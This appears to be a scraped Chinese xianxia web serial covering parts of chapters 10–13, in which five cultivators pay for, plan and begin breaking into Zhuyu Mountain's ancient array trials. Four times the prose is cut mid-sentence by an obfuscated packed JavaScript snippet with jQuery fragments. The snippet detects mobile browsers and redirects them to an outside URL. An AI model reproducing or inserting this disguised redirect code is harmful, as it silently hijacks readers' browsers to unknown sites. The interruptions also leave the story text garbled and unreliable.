苍乐不疾不徐:“东老板,莫急,不如这样,我再加一百万金,以及库中的所有灵器。”
他库中的灵器东霜是见过的,大部分都是从祝余山上薅的,那些灵器大都是半成品,但品阶却不低,关键时刻许能派上用场。
东霜想了想:“金我不要了,再加一万两千颗灵石。”
苍乐会心一笑:“成交。”他把布袋子放在东霜面前:这万物袋中一共是三万颗金灵石。灵器也在里面。东老板清点一下。“
好家伙,原来早就准备好了,就等着她上钩呢。东霜凭借她多年的经商经验,虽然认为这里面绝对有诈!但三万颗金灵石,搁谁,谁不心动,都够她飞升了。她也不墨迹,从万象阵中拿出一个木盒,推到苍乐面前:“这里面装着所有商号的名目,地契房契都在里面,还有一些其他商号的合作分红。”
“那我们钱货两讫。”苍乐收了盒子,话锋一转:“接下来说说闯山的事情。”
“你且等等,这万物袋怎么收不住了。”东霜原想看看里面的金灵石,可刚施法探物,这万物袋中的金灵石就一颗一颗往外蹦。
“不知道啊,我只会往外拿,不会装
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241473|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。”苍乐也愣住了,越来越多的金灵石从袋中跳出来,吸在东霜身上,速度越来越快,他被挤到了门口,房中的东霜只剩头还露在外面了。
那金灵石如流沙一般,东霜越是挣扎,淹没的越快,仿佛就是冲她而去。
“金刚阵!破!”金光冲天,反而引得越来越多的金灵石吸附在金柱之上。
怎么都往我身上冲,难道想让我吞掉他们?东霜这么想着,也这么做了:“引灵阵,启!”
数千的金灵石化作一缕缕的灵气,进入了漩涡中心,随后消失不见。
东霜身体逐渐膨胀,像河豚一般,整个人鼓鼓囊囊,引灵阵再次失控。
此时,突然闯入数道青光逆流于金海中,温柔的女声随之响起:“封灵脉,闭灵气,泻灵!”
东霜又迅速漏气,像一夸皮挂在了骨架上,双眼凹陷,四肢枯萎,整个人无力的瘫坐在地上,心里还在抱怨修行真难。
琉璃红唇轻启:“收!”余下的金灵石被尽数吸入万物袋,她走到东霜面前,又渡了灵气给她:“此乃口欲。”
东霜缓慢的抬头,疑惑的看着琉璃。
琉璃解释道:“你破境之时,并未渡劫,为顺应天道,劫数将随时显化。而你修行之法,乃逆天之举,需历八一劫,至九九归一,才能彻底完成破境。”
琉璃见她不作声,继续安慰:“所谓八一劫,即人之六欲,生、死、眼、耳、口、鼻,破此六欲方能大成。你已历三劫,还剩三劫,我既答应帮你破境,便会时时关照你的情况,切莫担心。”
“琉璃尊者,你怎会知道?”苍乐从门口进来,站在她身后,问道:“难道此前也有如此逆天而行之人?”
“并非,是我以琉璃心之力,窥探了她的灵海,知晓了前因后果,如此才能对症下药。”
“这琉璃心可真是强大。”苍乐语气淡淡的,表情不明。
“我又错过什么大事了?”从房中的八音鼎中传出了文玉悠扬空灵的声音,下一秒,就出现在了东霜身边:“哟,每次见你都是一副要死不活的样子,我就说这修行并非好的选择。”
东霜白了他一眼,继续问琉璃:“那我吸收的那些金灵石就白白流失了?”
琉璃点了点头:“别无他法。”
“干脆死了算了。”东霜的心在滴血,白白损失了几十万金。
她叹了口气,身体已经恢复的差不多了,这时又想到了闯山的事情:“什么时候去祝余山!我高低要顺点宝贝回来。”
“如此盛事,自是少不了我的。”文玉拿着他的藤蔓在手中转动,又问道:“这里才四人,还有一人是谁?”
琉璃皱了皱眉:“不会是祝炎吧。”
“对了!”苍乐脸上堆满了笑容,扫了众人一眼:“不知各位前辈能否找到祝炎?”
“如果前辈是在叫我的话,我能找到!”东霜仍坐着调息,她已经彻底恢复了样貌。
“自然是叫你,毕竟是第一阵师。”
东霜满意的点了点头,抬起右手,双指施法,指尖之上出现一个青色火苗,她对着火苗道:“祝炎,速来白玉京。”
话刚落地,一团与人同高的火焰出现在了东霜身旁,火焰化形,祝炎潇洒出场:“我已经准备好大干一场了!”
11. 爱之劫·上篇11
三日前,崇阿收到师门传召,便紧急回山,祝余山的护山大阵已经开启,若不是有师门玉牌,他险些迷失在阵中。
祝余山的山顶实为一处封印之所,封着传说中的神器-却邪枪。
山顶之上,另有四座灵气充沛的山峰,与仙界接壤,乃是祝余山掌门和坐下三位长老修行之所。这四座山峰与祝余山共同构成五行八卦阵。
可这阵法在十余年前就逐渐松动,却邪枪又异动频频,祝余山好些弟子被其所伤,这才触发了护山大阵。
上一次护山大阵开启还是在仙魔大战的时候,距今不过几十年。
崇阿作为祝余山首席大弟子,已经可以随意出入掌门殿。他刚到殿中,就听见座上的掌门和长老在谈论此事。
他行了个礼,问道:“不知掌门急召我回门,是否是为了护山大阵之事?”
坐在最中间,头戴金冠,头发胡子花白的老头,就是崇阿的师傅,祝余山的掌门,涅槃境仙人。
他盘腿凌空而坐,身侧立着佩剑,双手置于双腿上,眼皮微垂,不知道有没有在看下方的人,嘴巴被胡须掩盖,也看不清他的嘴巴有没有动,但声音已经传出来了:“崇阿,你可知护山大阵的由来?”
“护山大阵,乃祖师所布,为护我派弟子、护天下苍生,祖师有大爱之心,乃我派……”
“咳咳。”掌门打断了他的话,继续说道:“人人都知护山大阵可护良善,诛邪佞,你可知是为何?”
不等他回答,掌门继续道:“千万年前,祖神创世,分人族、妖族、灵族,开修行一道,供三族之人飞升。为维护三族平衡,三族中诞生的四位最强之人,授神职。而后,妖族不满足于修仙一道,改修魔道。在天道法则之下,更是诞生了魔神,与祖神二分天下。这祝余山便是祖神坐下,灵族天骄青龙大帝的飞升之所。”
“她在成为青龙大帝之后,便在这山上布下了这护山大阵,一是为了保护弱小,二则是为了传承,所谓的诛邪佞不过是利欲熏心之人迷失在了其中。”
崇阿低着头,嘴巴微张,眼神呆滞,心中仍在回味掌门所说,他第一次清楚的认识到祖师的厉害与高尚,但心中也升起一个疑问:“可是苍乐是如何得知的呢?”
-
三日后,当众人聚集,听苍乐讲完这些上古旧事,东霜也发出了相同的疑惑:“可是,这个事情应该是祝余山的掌门秘传吧,你怎么会知道?”
“当然是麒麟告诉我的。”他并未打算详说,便说了接下来的打算:“祝余山明日将会放出十五枚玉山令,五人成队,夺令者方能进入阵中,寻找机缘,听闻还有数不尽的上古灵料。”
“上古阵法,必对我有助力,我定要有所突破!”东霜已经在幻想自己成为中阶修士了,到时,便能用更高级的阵法了,也不用逮着金刚阵薅。
她一个人乐呵完,又问在座的其他人:“你们呢?有什么目标?先说好,咱们一队的,可不能内讧。”
“那是自然,我想要长生石,你们知道的,我天生体弱~”苍乐一脸娇羞。
祝炎也附和道:“我定然是不会和你们抢的!我此次来就是为了帮东霜。再说了,我修行的是火之传承,凤凰一族有完整的修行之法,我又何需向外求。”
其余两人也点头应和。
五人一琢磨就琢磨到了月黑风高之时。东霜躺在她的床上,仍在盘算白天的买卖,虽然亏了不少,不过好在白玉京卖给了苍乐,不然东霜连个栖身之地都没有。因着明日要闯山,今夜其他四位也宿在了白玉京。
不过这睡姿倒是各不相同。
苍乐在地上打了个铺盖,虽然条件简陋,但睡相极佳,仰面朝天,一头黑发整齐的被他压在身后,双手置于前胸的被子上,呼吸匀称,侧颜清冷疏离,东霜无声的叹了口气:“明明是个清冷的人,怎能做出那么娇羞的表情。”
她微愣了一下,不明白自己怎么会有这个想法。
再看其他人,被一大片叶子包裹着看不到人的便是文玉,琉璃入定之时,周身灵力流动,就像伴月而行的星星,祝炎倚着窗,把脑袋放在窗外,呼呼大睡,身旁立着无垢棍站岗。
东霜趴在床上,手撑着脑袋,视线又回到苍乐身上:“这么一看,麒麟可真美啊。”
“谢谢。”
苍乐冷不丁冒出的声音,让东霜体温升高,两人四目相对,苍乐的眼睛在黑暗中发着光,如暗夜捕猎的猛兽。
片刻沉默,东霜猛的拉上被子,将自己蒙住,她不知道自己何时睡着的,很快,天就亮了。
严格来说,她是被热醒的。
刚睁眼,就被身旁一团火焰灼的眼睛疼:“祝炎,你干啥呢?现在什么时间了?”
祝炎收了势,欣喜的转过身:“你醒啦,看你脸色,睡得不错。”
东霜不明所以,但他一脸求夸的神态,东霜也只好僵硬的说了声“谢谢”。
与祝炎针锋相对的是琉璃:“如你所愿,她醒了,便快动身吧,玉山令争夺已经开始了。”
文玉在给苍乐介绍他酿制的仙露,间隙还不忘说些风凉话:“何止开始,都开始大半天了。天未亮,就有诸多修士在山脚等候了,我们现在去怕不是只能乱战了。”
苍乐也调侃了几句:“怕不是昨晚月光太亮,让第一阵师迷了眼。”
一瞬间,昨晚的热气又爬上了脸,东霜吱唔了半晌,文玉了然于心,趁着尴尬的气氛,已经用八音鼎将众人带到了祝余山脚。
刚到山脚,差点就被无数把飞来横剑插个满怀,甚至没有站脚的地方。
沾了文玉的光,坐着他的荷花船在阵的外围寻找玉山令。这荷花船以灵力为食,自带防御,给他们省了很多的麻烦。
地上围着很多看热闹的百姓,以及一些低阶修士,低阶修士们们相对和谐,没有打打杀杀,只有菜鸡互啄。
天上到处是飞来飞去的人,带着灵力拖尾,局部还会下人雨。
“如此大场面,上一次见还是在仙魔大战的时候。”文玉感慨道。
“那是你深居简出,不问世事,我派一年一度的露水盛宴可比这还热闹。”琉璃面上掩不住的自豪之情。
她又对东霜说:“你已入三段,可参加明年各派的比试,择一良木。虽然世间以金灵入道者鲜少,但修行之法总是相通的,若有良师引路,也好过自己摸索。”
这是对她伸出橄榄枝了?东霜有些窃喜。不过她还是想和文玉一样,做个散仙,敷衍道:“我定会仔细考虑一番。”
“你们现在要考虑的是,如何在没有玉山令的情况下,进阵。”苍乐环顾四周,看着令牌一块块减少,人也越来越少,眉头都挤到一块去了,他又问东霜:“如果没有令牌,可有办
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241474|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法入阵?”
东霜耸着肩,双手一摊,目光清澈:“不知道啊。”
“这上古大阵,她一初阶修士,如何能破得?还是看我的!”祝炎唤醒无垢,提棍朝人堆冲去。
那是仅剩的最后一块玉山令。
见来人是祝炎,抢令的那群人竟然停手向祝炎行了见面礼,双方问了个好,便开始各凭本事。
祝炎转动手中燃着火焰的无垢,一阵炎风,吹落了四五人,还剩十几人。
许是觉得这样还是太慢,一招“星火燎原”,在空中划了一个火圈,那蓝青色的火焰,沾上一滴火星子,就会被火焰燃烧殆尽,旁人站在圈外急的攥紧了拳头,也只能眼看着祝炎去抓那玉山令,谁都不敢上前一步。
荷花船上的东霜倒是咧着嘴乐呵呵的笑,止不住的开心:“真好啊,和你们组队太好了。”马上就能进去了,进去之后灵料灵宝应有尽有,破境近在眼前。
祝炎以灵力驱动自己上升,眼看玉山令近在眼前,可怎么都拿不到,始终隔着一指的距离。
“快拿啊!”东霜的心都跳到了嗓子眼,双手攥拳放在胸前使劲,仿佛拿玉山令的是她。
可是玉山令像在和祝炎闹着玩,他进一寸,它就退一寸。
眼看一人一物即将消失不见,那玉山令像开了智一般,与祝炎擦肩而过,复又飞回到人堆,慢悠悠的落在了一个中阶修士手中。
东霜往前一步,敲了两下空气,恨不能自己去抢:“怎么会这样!不是说能者得之吗?祝余山逗我们玩呢?!”
文玉眯着眼睛,呢喃道:“竟有这种事情?难道玉山令有灵识?”
琉璃双手捏诀,聚琉璃心之灵力于指尖,闭眼复又睁开:“连琉璃心都无法探知。”
荷花船外,祝炎仍想夺令。拿令者见祝炎来势汹汹,吓的双膝下跪,双手将玉山令奉于头顶,声音哆哆嗦嗦:“祝炎同修,您拿去,求您拿去吧。”
“你这是做什么!站起来,与我一战!”祝炎收了棍,想上前去扶他一把,那玉山令抢先一步护在了那人面前,祝炎被灵力震的连连后退。
“原来是这样。”一直未曾开口的苍乐,见此场景,突然意识到了什么:“玉山令本就是护山大阵的产物,护山大阵乃仙界真神所设,既如此,祝炎肯定是拿不到的,因为他身上有魔气。”
他又指了指东霜:“你和我都拿不到。”
“十八魔骸扇!”
“没错。”苍乐顿了顿:“不过还有一种方法可以入阵。”
恰好此时,祝炎也回到了荷花船,四道目光齐聚于苍乐:“我们这有最厉害的阵师,还愁进不去吗?”
“我?我吗?”东霜不可置信的看着他,苍乐好像在说天书,不然她怎么一句都听不懂。
“我看此事就算了吧。”文玉兴致缺缺:“倒不是我不相信霜儿~只是,强行破阵,必遭反噬啊,天命不可违啊。是不,琉璃尊者?”
琉璃沉默了一会:“既然凭令入阵,那我们确实应该遵照祝余山的规则。既无令,便回吧。”
“不行!”东霜也很犹豫,既然来了,就不能两手空空的回去,她又问了一遍苍乐:“你确定我能破?”
“并非破阵,只是找到进入之法,肯定难不倒你。”
东霜信心大增:“再等我三天,三天之内,我定让它开阵门。”
12. 爱之劫·上篇12
一连三天,祝余山脚下的地被东霜画满了八卦五行四象阵的基本图,不同的是,图上灵石的分布落点各不相同,有的图层层叠叠的,叫看的人摸不着头脑。
护山大阵的门虽然没开,但锅里的食物已经开了。
祝炎在山中抓到一只被邪气入侵的四角灵兽,被琉璃净化之后,便动了杀心。
外皮坚硬不可破,可用来当锅,表层的肉肥腻,烤着吃最佳,里层的肉嫩而不腥,蒸炒都行,骨头就煲汤喝。
苍乐受不住灵兽的灵气,只能吃一些残渣。倒是一向辟谷的琉璃和文玉,却破了戒。
众人吃饱喝足,找了个有日光的地方躺着,祝炎叼着一根狗尾巴草,整个人甚是悠闲:“我就说吧,不管是普通人也好,修行之人也好,吃好,睡好,晒好太阳,这三件事,是顶重要的!”
文玉和琉璃已戒掉凡人之欲几十载,难得破戒,有一种飘飘欲仙之感。琉璃入了定,文玉也学着祝炎的样子,将整个人展开,充分吸收阳光,睁开一只眼,看到东霜整个人抱膝蹲在那忙活,心底生出米粒般的愧疚:"霜啊~能行吗~过来吃点吧~实在不行咱就算了~也不用为难自己~"
"老木头,好好吸收你的阳光吧。"
苍乐走到她身旁,也和她一样,抱膝蹲着:"这些是阵法吗?"
"嗯。"东霜席地而坐,看着地上画的满当当的阵法,解释道:"世间无论何种阵法,无论多复杂,但都有一个基础阵法做底,像垒房子一样,再一层层覆盖上去。"
苍乐静静的听着,东霜有些不好意思:"其实这些都可以在灵海中完成,只是不知道为何,我进不去灵海。"东霜又呵呵笑了两声。
"毕竟是第一阵师,修行之路哪能与旁人相同。"苍乐伸手摸了摸,面前是一堵无形的墙:"阵师确实是五道之中最厉害的。"
东霜眼睛放了光:"对吧,我这两天越是研究这护山大阵,越觉得这阵法精妙,布阵之人亦是举世无双。"
"听闻青龙大帝就是心怀万民,所以才在凡仙交界处创立了祝余山。为了传承不灭,所以在阵法之中存了诸多功法宝器。"
"我知道了!"东霜突然跳了起来:"难怪说这阵法人人可进。"
二话不说,将晒太阳的人全都喊了起来,并把他们放在了兑位、震位、坤位、艮位,自己则居于乾位。
"乾为天,坤为地,万炁同源;聚五灵,开八门,日月同辉,神鬼同迎;以吾灵,开万道!碎霄,阵启!破!"
一道金光破开阵门,五人化作一团灵点,被吸入了阵中。
五人站在原地,不敢妄动,眼前树木葱郁,高耸入云,四周群山环绕不见天,前方的路更是迷雾缭绕,一眼望不到头。
这里根本不是祝余山。
未曾问询,琉璃已经开口解惑:“这里是一方小世界。”
琉璃以银针为旗,置于此地,道:“不如大家以此为集合点,四散开,寻找所需之物。苍乐便和我一起吧。”
“那东霜你和我一起?”祝炎道。
东霜看了眼文玉,果断同意:“承蒙同修不弃。”
五人朝三个方向散去,东霜也是感受了一次日行千里,她坐在无垢所化的盾牌上,耳边是呼啸的风,身侧云雾如细丝般掠过,脚下黑黝黝的山如深渊,沉重可怖,放眼望去一片黑灰。
她留了个心,在空中捏了个观灵阵,四周灵力混乱不可辨。
又飞了片刻,云雾中多了一些金黄花瓣,她伸手抓了一拳,这花瓣他认得,是文玉的四时之景-桂花的花瓣。
文玉虽然是个炼器师,可术法却花里胡哨,非要根据季节变换,在施法时加上当季花瓣,美其名曰,他是自然之子。
东霜拍了拍座下的无垢,又转头朝祝炎喊道:“快停下。这地方邪门。”
“确实邪门,飞来飞去都一个地,我中途还换了方向呢。”
东霜摊开手,让祝炎看那桂花花瓣,祝炎一下就认出来了:“这不是那只花孔雀的吗?”
他双指施法,指上燃着火焰,火焰变成了深绿色:“确实是他的灵力。他也到过此处?”
东霜看了看四周,也很是想不通。
然而,更奇怪的一幕在她眼前发生了,飘在空中的花瓣“唰”的一下就不见了,而她的左手手心,有一阵法若隐若现的闪烁着。
正是她此前布下的观灵阵,就在离他们不远处闪着光辉。
“怎么突然回到了我们之前走过的地方?”祝炎突然作惊恐状:“鬼打墙!一定是鬼打墙!”
“鬼打墙?”东霜灵思逐渐开明,又不太确定:“好像有一种阵法有类似的效果。”
“阵法?我们被困住了?那好办!无垢!”
“啊!!”祝炎唤走了无垢,东霜脚下一空,从云端跌落,云雾被火焰驱散,红了大半个天空,深渊的爪子拉着她急速下坠。
“金刚阵!御!”她凌空布了个阵,身体被金刚大傩扶了起来,脚下的阵法让她有了立足之地。
可刚站稳,又从光明陷入黑暗,心脏跳空了一拍,若非有金刚阵护着,怕不是整个人都要往黑暗中摔去。
金刚阵的灵力被黑暗吞噬,她双手往前探了一下,抵住了金刚阵壁,出现一阵浅金色的灵力波动,她又用脚轻踏了一下,脚下也出现一阵灵力波动。
还在阵中。
东霜双指施法,一团火焰跃然跳动:“祝炎!祝炎!”
“东霜!你在哪?我好像又被换到其他地方了!”
“我也是……”陌生的地方,响起熟悉的声音,东霜已经安心多了,盘腿坐在阵中,开始琢磨这个奇怪的现象。
“祝炎,你还在吗?”
“我在。”
“你能知道其他人的位置吗?”
“当然不能。修行之人,对行踪最是慎重。你的小火苗是因为你对我有救命之恩,才给你备着的。”
“行吧行吧,那你先随便往哪个方向走,越远越好,沿途留下印记。”
果然,不过片刻,东霜的位置再次变换,这一次,她感知到了琉璃的灵力气息。而她也将灵石用灵力串着,沿途留下记号。
她又燃起火苗:“别停啊,祝炎!”
“我位置又变了,回到了此前我们待的地方。”
“继续飞!”
在祝炎的努力下,东霜的位置换了五次,到第六次的时候,一个诺大的八卦五行四象阵出现了。
“祝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241475|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
炎!停下!”
“嗯,我看到了,是阵法。可有解?”
这八卦五行四象阵被四种灵力浇灌,现出了完整的阵法,虽然大的看不到边,但从左右可判断,东霜为坎位,历午时,属太阴水,这是一个加入了时序变化的固灵阵。
普通的固灵阵,是封印入阵者的行动,而时序固灵阵,凡入阵者皆为此阵一环,随时序流转,入阵者的行动互相牵制,一步一换位,入阵者永无相见之日,直到入阵者的灵力被阵法吸收相融。
她嘴唇轻勾,信心在握,轻飘飘道:“可解,可解。”
好在其他人也明白了她的用意,否则这阵法不会这么快显露真身。
她右手施法,指尖火苗跳动,轻轻一挥,那火苗与她所处的金刚阵相融。
“既然这里属太阴水,那便用无垢火来试试阵的强度吧。”
“金刚阵!破!”
金刚阵中的罗汉战神,手持点燃的斧头,与东霜擦身而过,斧头劈向了她身后的方位。
一刀月牙劈万山,阳光从破碎的黑暗中漏进来,地动吞食了碎石,风吹散了浓雾,露出葱郁、鸟鸣、流水。
一只灵鸟在金刚阵旁徘徊,从上到下绕了一圈,扑棱着翅膀,停在东霜面前:“恭喜同修,破了第一阵。”
这灵鸟名唤婴鸟,五足彩翼,音如婴孩,额间一点黄,天生地养为灵族,东霜只在志怪录中见过,骤然出现在她面前,只觉得惊奇,便伸出手,等她停留。
婴鸟停在她的虎口上,啄了下她的指尖,又以翅膀代指:“同修,你以阳火破阴水,所以,你们的奖励就在那湖水中,拿了就去第二阵吧。”
“你刚才说,破了第一阵?一共有几阵?”
“此阵名叫混沌十五阵,每五阵为一阶,以破阵之五行得灵宝,旨在助力世间修行者得道。”
东霜双手作晶石柱,五行灵石在指间流转,低头施礼:“谢祖师。祖师心怀大义,乃吾辈楷模。”
“我只是小小的一阵的灵兽,可受不起你这一拜,你得偿所愿便好。”
东霜再次谢过,便坐着金刚阵朝那湖面飞去,其他人早已等在那。
东霜还没落地,就听见祝炎朝她嚷嚷:“你这没心没肺的!竟然用无垢的灵火去破阵!那可是无垢的万分之一分身啊,可燃尽天下虚妄!”祝炎重重的的叹了口气,摸了摸怀中的无垢:“可怜无垢都瘦了!”
东霜摸了摸头,不好意思的小声嘟囔道:“一时之间没找到火灵珠,就把无垢火用了。”她声音逐渐变大:“可我是想尽快破阵,急着救大家嘛~”
“嗯~果然是我带大的霜~厉害厉害~”
“老木头你也不赖,你的四时之景并非全无用处。”
“此乃天吴精魂,天吴乃掌水之灵,其魂可炼仙品水灵石,东霜,你收下吧。”琉璃又看了眼其余三位:“诸位没意见吧?”
苍乐道:“当然,理应她拿。”
其余两人也点头同意。
琉璃的手游了一下,手心盛着的那缕青色魂魄,便飞到了东霜面前。
东霜也不客气,纳入万象阵中:“谢谢诸位让宝。”
东霜继续说道:“混沌十五阵,那我们去第二阵瞧瞧。”
13. 爱之劫·上篇13
二阵之地,乃天空之镜,身处一片湖泊之上,踩在湖面上,实感很重,每走一步,掀起阵阵涟漪。
湖泊的中央有一棵仙树,树的枝干都被果子压弯了,全都是金光闪闪的,金灵珠?
东霜捏了一把文玉:“你看到了吗?满树的金灵珠?”
文玉吃痛,嫌弃的拿藤蔓掸了掸她的手:“什么金灵珠,明明是漫山遍野的灵花灵草,最远处那株,一定是上古五大灵草之一的蘼芜,我苦寻不得,竟在此处。”
一旁的祝炎手握无垢,嚷道:“你们在说啥呢,全是邪魔啊!”他转了一下无垢,蓄势待发:“我已经准备好大干一场了!”
“你们都着了道,此处是只是一个什么都没有的山洞。”草木青出鞘,琉璃双手捏诀:“琉璃净灵,破虚妄!去!”
“大胆妖孽!”祝炎把琉璃的草木青当成了邪魔,一人一针扭打在一起。
而另一边的文玉和苍乐正追着什么,进入了那岩壁之中,草木青“哐当”一声,被岩壁挡在了外面。
东霜意识到不对,在周身布了金刚阵。
可外界其他人的声音已经消失,所见所闻皆是眼前之境。
她依旧原地不动,细细思量:每个人所见之景都不相同,可琉璃似乎什么都没有看到,许是因为琉璃心破虚妄。虚妄?难道这是惑心阵。
不管三七二十一,试一试总是可以的。
这惑心阵亦属初阶困阵,入阵之人会被内心深处求而不得之物所困,布此阵许消耗大量灵力,东霜在学阵的时候,特地略过了它,不过,虽然不会布,但破阵之法,她却有自己的心得。
况且琉璃并未被困,有外界的灵力相助,就更加手到擒来,她扔出五枚灵石,右手施法布阵:“碎霄!破!”
虚景坍塌,眼睛一时适应不了黑暗,身体失去了方向感,一阵冷冽的气息扑面而来,双手试探着,果然身处岩洞之中。
摸索着向前走,前方有一道莹光:“琉璃尊者?”
那莹光从微小到充盈,琉璃也从黑暗中走出:“这阵法果然难不倒你。其他人可有办法找到?”
东霜摇了摇头:“此阵乃惑心阵,必须从内部破除,若遇见他们,我们可在外面给他们助力。”
“那我们先往里去吧。”
越往山洞里走,气温越低,视野逐渐开阔,岩壁上的石头也从暗红的明亮,变成了五颜六色的、长条形的灵石块。
“哇,这下是梦想成真了。”东霜的头缓慢的从右到左,将这一块块灵石都记在眼睛里。
连琉璃也不敢相信,这还只是一个岩洞,再往里面走,连岩壁都是灵石做的,晶莹剔透,像一个冰窟。
“那里面是不是躺着三个人?”东霜指了指前方,灵石堆里,有三条人见缝插针的躺在灵石丛中格格不入。
“正是他们。怎么到这里来了。”
“看他们的样子是沉迷在里面了,也不知道有什么好东西。”东霜趁机踢了文玉一脚,脚刚收回来,三条人变成了三片枯叶。
身后传来文玉爽朗的笑声:“被骗了吧~你这丫头,原来想对我做这事~”
东霜斜手抱拳:“不愧是高阶修士,此等阵法还是困不住你们。”
”那是,护山大阵怎么可能会有邪魔存在,我直接一把火把那幻境给烧了。”祝炎道。
“我更好奇苍乐你如何破阵的?”
苍乐举起了他的手掌,掌心有一道血痕:“我的血和你的血一样有用。”
“啧,伤敌一千,自损八百。”东霜在岩洞中走了两圈,道:“这一关的宝贝呢?”
文玉指了指天:“全在这里了。”
东霜也不客气:“万象阵!收!”
从岩壁上生出的灵石仿佛生了根,任凭万象阵如何吸收,都巍然不动,有零星碎石从岩顶上掉落,接着天摇地动,从掉碎石变成了岩石滚落。
东霜立刻收了阵,好在祝炎的炎灵罩护了她和苍乐,不然怕是要葬身石堆。
“什么情况,不是说取了宝贝就能通关吗?”东霜不解,眼看岩石一块块掉落,封住了去路,问题丢出去,像纸片扔下了悬崖,都不带响的。
“祝炎?”东霜转头一看,空无一人。哪有什么祝炎,苍乐,连琉璃和文玉都没影了。
炎灵罩也在这个时候消失,刚拿出五块灵石想布金刚阵,已经来不及了,岩石掉落的速度比她布阵速度更快。
“哎哟。”头和身体只能护住一个,她选择了头。整个人被岩石压成了“大”字。
“我再也不贪心了!有没有人啊!我赔礼,我赎罪,我将放下我的傲慢。”
她说话越来越喘,岩洞坍塌的比想象中的要快,越来越多的石块掉落,空气也越来越少,岩洞彻底变成了一个碎石堆。
-
“谁去阵中把她拉出来?”文玉盯着昏睡不醒的东霜,又抬起头看了看其余三人:“不如让叶子做决定?飘到谁身上,这个任务就交给谁。”
苍乐从他们四人围着东霜的圈中向后退了一步:“我肯定不行,我手无缚鸡之力,我退出。”
“还是我来吧。”
琉璃反手握着草木青的剑柄,将它悬空于东霜的胸膛之上,右手施法,指尖倾斜,草木青缓缓的向下落去。
在草木青的剑尖即将碰到东霜的时候,她的胸前出现一道金色的阵法,阵法层层叠叠带着古灵字,草木青被阵法吞噬,进入了东霜的幻境。
草木青从底部围着巨石堆转了一圈,而后立于巨石堆顶,灵力顺沿而下,像一条青蛇,将巨石啃成了小石子。
东霜爬起来,大吸一口气,终于获救了。
草木青擦着东霜飞过,立于一处空地,抖了两下。
琉璃的剑?她在做什么?东霜想着,一路小跑跟上,此处都已坍塌荒废了,草木青悬停在一处碎石上。
东霜又费力的将石头搬开,里面竟然是,金灵石!
“嘭”一下,草木青用剑柄敲了一下她的背,眼前之景变成了一个枯井,里面什么都没有。
这破阵法,能不能给人留点隐私。东霜内心咒骂了一声。
又一记重拳从后背袭来,东霜的魂还在上面,人已经被推向了深不见底的枯井。
任凭她如何挣扎,都无法摆脱枯井的吸引力,连石心都隐隐作痛,快要触地的时候,她生无可恋的闭上了眼睛,抱住了头。
“这怎么还没醒啊?”
“不知道啊,她到底看到什么了,这么恋恋不舍?”
“依我看,无非就是灵石灵宝。”
“出来了。”琉璃借势收了草木青,东霜双手撑地,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241476|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猛的坐了起来,耳边还残留着三人议论的声音。
她扫视了一圈,四个人八只眼睛赤裸裸的盯着她,像要盯穿她。
“金刚阵!……”
“金什么金!”文玉的藤蔓轻轻一挥,就打乱了她的灵力:“好不容易把你拉出幻境,怎么出来就打人呢?”
“出幻境了?”
“恭喜突破第二阵。”婴鸟突然出现,停在东霜的肩膀上:“同修们,这是你们的灵宝,快收下吧。我送你们去第三阵。”
东霜双手摊在胸前,只见几道灵光“唰唰唰”的飞到其他四人手中,唯独没有她的份。
“什么啊!我的宝贝呢?!”
东霜的咆哮声留在了三阵之外,他们现在正置身于一处古城废墟。
入目皆是残垣断壁,台阶残破,拾级而上,两边是歪斜躺倒的蛇身龙头烛台,走了数十步,平台好像也远了数十步,简直在原地踏步。
东霜停在台阶上,回望身后,惊讶道:"身后的台阶没了?"
"不仅如此,两侧是万丈深渊。"文玉对着台阶的破损处,扔了一根残枝,那残枝刚落洞就被层层云雾裹挟着消失不见。
祝炎撑着棍,一跺脚:"飞上去吧,靠走要走到何年马月。"
说着,捏着东霜的手臂,眨眼间,脚就实实的踩在了平地上。
其余几人也紧随其后。
